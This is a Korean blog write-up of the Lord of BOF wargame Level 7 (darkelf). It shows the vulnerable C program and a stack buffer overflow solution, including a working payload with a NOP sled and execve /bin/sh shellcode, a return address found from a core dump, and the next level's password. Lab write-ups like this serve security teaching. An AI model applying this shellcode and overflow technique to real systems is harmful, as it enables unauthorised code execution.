일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- hacking
- Lord of BOF
- Pwnable.kr
- 네트워크
- SQL
- Spring Framework
- Buffer Overflow
- system hacking
- 정보보안기사 실기
- 웹해킹
- pwnable
- OS
- System
- stack overflow
- 워게임
- 정보보안기사
- Shell code
- LOB
- PWN
- 정보처리기사 실기
- 운영체제
- Spring
- webhacking.kr
- Payload
- wargame
- webhacking
- 해킹
- Spring MVC
- BOF
- Operating System
- Today
- Total
DongDD's IT
[LOB] Level7 darkelf 본문
[LOB] Level7 darkelf
Problem
이번 문제에서도 orge 실행 파일과 orge.c 소스 코드 파일이 있었다.
소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2) { printf(“argv error\n”); exit(0); } // here is changed! if(strlen(argv[0]) != 77) { printf(“argv[0] error\n”); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != ‘\xbf’) { printf(“stack is still your friend.\n”); exit(0); } // check the length of argument if(strlen(argv[1]) > 48) { printf(“argument is too long!\n”); exit(0); } strcpy(buffer, argv[1]); printf(“%s\n”, buffer); // buffer hunter memset(buffer, 0, 40); } | cs |
argv[0], 즉 파일 이름의 길이가 77인지 확인하는 구문이 생겼다. 그리고 extern을 통해 환경 변수를 가져오고 모두 초기화 시킨다. argv[1]로 받은 인자의 48번째 글자가 "\xbf"인지 확인하고 argv[1]의 길이가 48보다 큰지 확인한다. 그 후에 strcpy를 통해 buffer에 argv[1]을 복사하고 buffer를 초기화시키며 프로그램이 종료된다.
저번 문제와 마찬가지로 환경 변수를 이용하기 어려워보이고 "\xbf"의 return address를 가지므로 stack에 존재하는 값을 이용해야하고 argv[1]의 길이가 48보다 크지 않아야한다.
또한 buffer에 shell code를 사용하는 것도 어려워보인다.
아마 저번 문제와 같은 풀이 방법을 이용하는 대신 파일 이름의 길이를 77로 바꾸고 하면 될 것 같았다.
Solution
파일 이름의 길이를 75(75+"./" 2)로 바꿔주고 argv[2]에 shell code를 넣는 방법으로 해결했다.
1. argv[2]에 Shell code 이용
dummy(47 bytes) + "\xbf"를 argv[1]에 넣고 "\x90"*20+ shell code(24 bytes)를 사용할 것이기 때문에 argv[2]에 "B"를 44 bytes 넣고 argv[2]의 주소를 확인했다.
0xbffffbfc쯤 부터 시작되고 NOP을 사용할 것이기 때문에 시작 주소를 0xbffffc04이라고 생각하고 payload를 작성했다.
argv[2]의 주소 : 0xbffffc04
사용한 Shell code(24 bytes) :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
위 정보를 가지고 payload를 작성해보았다.
Payload = dummy(44 bytes) + return address(argv[2]의 주소) "\x90"*20(NOP) + Shell code(24 bytes)
위 Payload를 가지고 실행해 보았지만 실패했다. core 파일을 분석해 argv[2]의 제대로 된 위치를 찾을 수 있었다.
argv[2]가 0xbffffbb8 쯤에서 시작되는 걸 볼 수 있다. 왜 그럴까 생각해보았는데 아마 gdb와 실행환경이 다른 것 같다. 파일이름의 길이를 77로 맞춰서 그냥 실행하면 파일 이름의 길이를 검사하는 부분을 넘어가는데 gdb에서 했을 때는 통과하지 못했다. 그래서 아마 실제 core파일에 있는 주소가 제대로 된 주소인 것 같다.
NOP을 사용했기 때문에 0xbffffbc0으로 return address를 잡으면 될 것 같았다.
argv[2]의 주소 : 0xbffffbc0
위 payload에서 argv[2]의 주소만 바꿔서 실행하니 문제를 해결 할 수 있었다.
gdb에서는 왜 파일 이름의 길이가 77로 인식되지 않는지는 정확히 모르겠다.
그래도 core 파일을 통해 argv[2]의 주소를 찾아 해결할 수 있었다.
************** Answer & Flag **************
1. argv[2]에 Shell code 이용
Payload = dummy(44 bytes) + return address(argv[2]의 주소) "\x90"*20(NOP) + Shell code(24 bytes)
argv[1] = "A"*44 + "\xc0\xfb\xff\xbf"
argv[2] = "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Next ID : orge
Next PW : timewalker
'Wargame > LOB' 카테고리의 다른 글
[LOB] Level9 troll (0) | 2018.01.21 |
---|---|
[LOB] Level8 orge (0) | 2018.01.20 |
[LOB] Level6 wolfman (0) | 2018.01.19 |
[LOB] Level5 orc (0) | 2018.01.18 |
[LOB] Level4 goblin (0) | 2018.01.17 |